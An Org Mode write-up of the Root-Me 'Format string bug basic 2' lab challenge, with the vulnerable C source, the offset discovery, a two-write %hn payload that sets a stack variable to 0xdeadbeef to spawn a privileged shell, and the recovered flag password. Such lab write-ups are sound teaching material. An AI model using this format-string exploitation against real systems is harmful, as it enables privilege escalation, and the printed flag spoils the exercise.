251 lines
6.4 KiB
Org Mode
251 lines
6.4 KiB
Org Mode
* ELF x86 - Format string bug basic 2
|
|
|
|
Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt
|
|
|
|
Aufgabe
|
|
Einstellungen der Umgebung
|
|
PIE Position Independent Executable pas_valide.svg?1566650180
|
|
RelRO Read Only relocations pas_valide.svg?1566650180
|
|
NX Non-Executable Stack valide.svg?1566650190
|
|
Heap exec Non-Executable Heap valide.svg?1566650190
|
|
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
|
|
SF Source Fortification pas_valide.svg?1566650180
|
|
SSP Stack-Smashing Protection valide.svg?1566650190
|
|
SRC Zugriff auf den Source code valide.svg?1566650190
|
|
Quellcode
|
|
#+begin_src C
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <sys/types.h>
|
|
#include <unistd.h>
|
|
|
|
int main( int argc, char ** argv )
|
|
{
|
|
int var;
|
|
int check = 0x04030201;
|
|
|
|
char fmt[128];
|
|
|
|
if (argc <2)
|
|
exit(0);
|
|
|
|
memset( fmt, 0, sizeof(fmt) );
|
|
|
|
printf( "check at 0x%x\n", &check );
|
|
printf( "argv[1] = [%s]\n", argv[1] );
|
|
|
|
snprintf( fmt, sizeof(fmt), argv[1] );
|
|
|
|
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
|
printf ("\nYou are on the right way !\n");
|
|
|
|
printf( "fmt=[%s]\n", fmt );
|
|
printf( "check=0x%x\n", check );
|
|
|
|
if (check==0xdeadbeef)
|
|
{
|
|
printf("Yeah dude ! You win !\n");
|
|
setreuid(geteuid(), geteuid());
|
|
system("/bin/bash");
|
|
}
|
|
}
|
|
#+end_src
|
|
|
|
Zugangsdaten für die Übung
|
|
#+begin_quote
|
|
Host challenge02.root-me.org
|
|
Protokoll SSH
|
|
Port 2222
|
|
Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org
|
|
Benutzername app-systeme-ch14
|
|
Passwort app-systeme-ch14
|
|
#+end_quote
|
|
|
|
* Investigation Log
|
|
|
|
** Downloaded challenge files
|
|
|
|
Used Paramiko to fetch remote files into =artifacts/=: =ch14=, =ch14.c=, =Makefile=.
|
|
|
|
Makefile confirms build flags:
|
|
- =-m32 -no-pie=
|
|
- =-z noexecstack=
|
|
|
|
This matches challenge metadata: no PIE, NX enabled, no ASLR on target.
|
|
|
|
** Vulnerability
|
|
|
|
The bug is here:
|
|
|
|
#+begin_src c
|
|
snprintf(fmt, sizeof(fmt), argv[1]);
|
|
#+end_src
|
|
|
|
=argv[1]= is used directly as a format string. With format directives like =%n=, we can write to memory.
|
|
|
|
Target variable:
|
|
|
|
#+begin_src c
|
|
int check = 0x04030201;
|
|
...
|
|
if (check == 0xdeadbeef) {
|
|
system("/bin/bash");
|
|
}
|
|
#+end_src
|
|
|
|
** Stack argument offset discovery
|
|
|
|
Bruteforce payload: =AAAA.%<i>$x=.
|
|
|
|
Result: at offset =9= we get =41414141=.
|
|
|
|
So first 4 bytes of our payload are interpreted as argument 9.
|
|
|
|
** Write strategy
|
|
|
|
Need to write =0xdeadbeef= into =check=.
|
|
|
|
Used two half-word writes with =%hn=:
|
|
- lower half (addr): =0xbeef= (=48879=)
|
|
- upper half (addr+2): =0xdead= (=57005=)
|
|
|
|
Payload layout:
|
|
- 4 bytes: =p32(check_addr)=
|
|
- 4 bytes: =p32(check_addr+2)=
|
|
- format tail: =%11$48871x%9$hn%12$8126x%10$hn=
|
|
|
|
Why those paddings:
|
|
- first 8 bytes already count as printed characters
|
|
- 48871 + 8 = 48879 (0xbeef) -> first =%hn=
|
|
- 8126 more chars -> 57005 (0xdead) -> second =%hn=
|
|
|
|
** Address behavior and PTY note
|
|
|
|
=check= stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions.
|
|
|
|
For reliable exploit:
|
|
- probe =check= address with same payload length and PTY mode
|
|
- immediately run exploit in PTY mode
|
|
|
|
Observed stable PTY probe address: =0xbffffb88=.
|
|
|
|
** Successful exploitation
|
|
|
|
Exploit output:
|
|
- =check=0xdeadbeef=
|
|
- =Yeah dude ! You win !=
|
|
- effective uid switched to =app-systeme-ch14-cracked=
|
|
|
|
Recovered password:
|
|
|
|
#+begin_quote
|
|
1l1k3p0Rn&P0pC0rn
|
|
#+end_quote
|
|
|
|
* Helper Scripts
|
|
|
|
- =scripts/find_offset.py=: brute-force the format-string stack offset.
|
|
- =scripts/exploit.py=: probes =check= address and performs 2x =%hn= write to spawn shell and read =.passwd=.
|
|
|
|
** Note: exploit implementation without struct.pack
|
|
|
|
The exploit script no longer uses =struct.pack("<I", ...)=.
|
|
|
|
Instead, it uses a manual little-endian encoder:
|
|
|
|
#+begin_src python
|
|
def p32_le(value: int) -> bytes:
|
|
value &= 0xFFFFFFFF
|
|
return bytes((
|
|
value & 0xFF,
|
|
(value >> 8) & 0xFF,
|
|
(value >> 16) & 0xFF,
|
|
(value >> 24) & 0xFF,
|
|
))
|
|
#+end_src
|
|
|
|
This produces the same 4-byte layout as =struct.pack("<I", value)= on x86.
|
|
|
|
Example:
|
|
- =0xbffffb88= -> bytes =88 fb ff bf=
|
|
- =0xbffffb8a= -> bytes =8a fb ff bf=
|
|
|
|
So the payload semantics are unchanged: argument 9 points to =check=, argument 10 points to =check+2=, and the two =%hn= writes still set =check= to =0xdeadbeef=.
|
|
|
|
* Solution Explanation
|
|
|
|
1) Identify the bug
|
|
|
|
The program calls:
|
|
|
|
#+begin_src c
|
|
snprintf(fmt, sizeof(fmt), argv[1]);
|
|
#+end_src
|
|
|
|
User input is interpreted as a format string. This allows format-string primitives like stack reads (=%x=) and memory writes (=%n= / =%hn=).
|
|
|
|
2) Define the win condition
|
|
|
|
The shell is spawned only if:
|
|
|
|
#+begin_src c
|
|
if (check == 0xdeadbeef) {
|
|
setreuid(geteuid(), geteuid());
|
|
system("/bin/bash");
|
|
}
|
|
#+end_src
|
|
|
|
So exploitation goal is to overwrite local stack variable =check= from =0x04030201= to =0xdeadbeef=.
|
|
|
|
3) Find where our bytes land in variadic arguments
|
|
|
|
Using marker payloads like =AAAA.%<i>$x=, we detect when =41414141= appears.
|
|
|
|
Observed offset: =9=.
|
|
|
|
Meaning:
|
|
- bytes 0..3 of payload are read as argument 9
|
|
- bytes 4..7 of payload are read as argument 10
|
|
|
|
4) Choose a safe write primitive
|
|
|
|
Writing full 32-bit with one =%n= is possible but impractical due to huge padding.
|
|
|
|
Use two half-word writes with =%hn=:
|
|
- write lower 16 bits (=0xbeef=) to =check=
|
|
- write upper 16 bits (=0xdead=) to =check+2=
|
|
|
|
5) Build the payload
|
|
|
|
Payload bytes:
|
|
- first 4 bytes: little-endian address of =check=
|
|
- next 4 bytes: little-endian address of =check+2=
|
|
- then format tail: =%11$48871x%9$hn%12$8126x%10$hn=
|
|
|
|
Padding math:
|
|
- 8 raw address bytes are already counted as printed chars
|
|
- need first total count =48879= (=0xbeef=): print =48871= extra chars
|
|
- after first =%hn=, need second total count =57005= (=0xdead=): print =8126= extra chars
|
|
|
|
6) Handle runtime detail (PTY stability)
|
|
|
|
The stack address printed for =check= is stable only for the same invocation style.
|
|
|
|
PTY vs non-PTY shifts addresses. Reliable method:
|
|
- probe address in PTY mode with same payload length
|
|
- exploit immediately in PTY mode with same layout
|
|
|
|
7) Confirm success
|
|
|
|
Successful run shows:
|
|
- =check=0xdeadbeef=
|
|
- =Yeah dude ! You win !=
|
|
- effective identity =app-systeme-ch14-cracked=
|
|
- readable flag/password file =.passwd=
|
|
|
|
Recovered password:
|
|
|
|
#+begin_quote
|
|
1l1k3p0Rn&P0pC0rn
|
|
#+end_quote
|